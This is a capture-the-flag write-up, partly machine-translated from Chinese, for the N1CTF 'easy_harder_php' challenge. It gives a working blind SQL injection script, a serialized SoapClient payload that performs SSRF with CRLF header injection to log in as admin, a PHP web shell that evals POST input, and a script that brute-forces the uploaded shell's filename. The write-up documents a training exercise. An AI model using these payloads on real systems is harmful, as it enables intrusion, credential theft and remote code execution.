0x01 topic Introduction
Scan get the source code directory
function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic'])) {
if (upload($_FILES['pic'])){
echo 'upload ok!';
return true;
}
else {
echo "upload file error";
return false;
}
}
else
return false;
}
}
We must admin login will have to upload function, so finding the point of injection to get admin password
$ _POST [ 'signature'] no filter is inserted into the database, so we inject here to get the account password from
here all the 反引号
converted 单引号
, so our
payload:
# encoding=utf-8
import requests
import string
import time
url = 'http://03676d01-b591-4767-84ca-f49d98ea50a8.node3.buuoj.cn/index.php?action=publish'
cookies = {"PHPSESSID": "e949kgjjg7nm1k70ohatg52ac6"}
data = {
"signature": "",
"mood": 0
}
table = string.digits + string.lowercase + string.uppercase
def post():
password = ""
for i in range(1, 33):
for j in table:
signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j)) #这儿的0x61646d696e是admin的十六进制,当然用`admin`代替也可以
data["signature"] = signature
#print(data)
try:
re = requests.post(url, cookies = cookies, data = data, timeout = 3)
#print(re.text)
except:
password += j
print(password)
break
print(password)
def main():
post()
if __name__ == '__main__':
main()
Injecting get the password md5 code, decrypted
account password is admin, nu1ladmin
But we can not use this login, because he limits must be 127.0.0.1 sign in
so we have to find ssrf to log admin
Here is a deserialized, and $row[2]
the data mood
we control, refer to the above injecting ~~
So we can mood
insert in the sequence of the soap
class, then ssrf
, here's a brief talk about the process, to facilitate understanding
First, we open two browsers, one for each page, one of the first do not sign in, we used to register another non-admin log in to your account, and then in the publish
page insertion sequence of soap
classes.
Here given a configuration codes soap
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=jRl3';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=e6d3o0c1bh2a119fh01etdi000'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
这儿需要注意两个地方,第一个地方是$post_string
中的code参数和PHPSESSID
必须和我们另外一个浏览器准备用来登录的admin相对应~~
然后注入即可
这个时候还不能刷新另外一个浏览器,因为此时我们只是把数据放在了数据库中,我们还没有触发,我们必须用我们自己的账号刷新一下?action=index
的页面,才能触发~~
此时我们再刷新一下用来登录admin的浏览器就可以登录上了~~
我们之所以反序列化soap类后能登录admin,是因为
$mood = unserialize($row[2]);
$country = $mood->getcountry();
我们知道此时$mood
就是一个soap类,所以这个类没有getcountry()
方法,此时就会触发soap类的__call()
魔法函数就能实现登录了~~
然后我们就能看到上传文件的页面了~~
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
- 首先是只能上传图片,而且上传的文件不能有
<?php
, 这儿可以用<?=
和<script language='php'>
代替 - 但是最后会执行一段sh命令,我们可以问价包含看看sh文件的内容
-
这儿就需要用到linux的一个小trick了,当我们的文件名是以-
开头时这个命令会报错~~
所以我们的思路就是上传一个以-
开头的图片码,然后再爆破出上传的文件名~~
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
我们最主要的是获取time()的值,我们可以在上传的瞬间马上点击上传,虽然有一两秒的误差,但是并不影响~~
<?php
date_default_timezone_set("PRC"); ###一定要注意设置这个时区
echo time();
?>
最后我们再写一个脚本爆破一下~~
# -*- coding:utf-8 -*-
import requests
time = 158002449200 #我们上传的time()为1580024492,之所以加两位是后面的rand(1,100),而且我们从0到9999累加,就可以计算出我们的计算时间和上传时间的误差了~~
url = 'http://c2cae93a-2024-48c4-a4d9-7c6f71d20bcd.node3.buuoj.cn/index.php?action=../../../../app/adminpic/-xx{}.jpg'
for i in range(10000):
tmp = time + i
ul = url.format(tmp)
html = requests.get(ul).status_code
print(i)
if html == 200:
print(ul)
break
这儿说明一下我上传的图片马~
<script language="php">
$_POST["xxx"]=str_replace("[","'",$_POST["xxx"]);
$_POST["xxx"]=str_replace("]","'",$_POST["xxx"]);
echo $_POST["xxx"];
eval($_POST["xxx"]);
</script>
由于题目过了了我们的输入所以,没办法使用引号和单引号,我们用"["
,和"]"
代替,这样就不会被过滤掉了~
function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all();
这道题目还有几个非预期解,但是复现的时候,已经修复好了~~
但是这儿也记录一下~~
1, session.upload turn leads to contain loopholes
2、xdebug
When the X-Forwarded-For address (this is: ricterz.me) 9000 port connection request is received, can determine the Xdebug opened, and opened xdebug.remote_connect_back.
3, / tmp / temporary files competition
To use temporary files of competition, the premise is able to access a page phpinfo ~~
Reference links:
N1CTF easy_harder_php expected solution
N1CTF easy_harder_php solution unintended
official writeup